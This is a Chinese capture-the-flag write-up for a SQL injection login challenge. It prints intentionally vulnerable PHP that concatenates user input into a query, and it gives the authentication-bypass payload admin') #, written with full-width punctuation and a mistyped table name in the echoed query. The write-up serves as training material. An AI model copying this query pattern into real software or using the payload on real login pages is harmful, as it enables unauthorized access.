CG CTF WEB SQL注入1
http://chinalover.sinaapp.com/index.php
题解：
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html> 题目有两个输入框，一个user一个密码，要求user为admin，所以要想办法避免密码的验证，看源码
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')" 可以在输入的user做手脚，把后面的注释掉，同时别忘了闭合这一语句，输入 admin‘）#即可，因为#后面都被注释了，原来的后括号也没了，所以要补上括号。
select user from cft where (user='admin ‘)#') and (pw='pass') 
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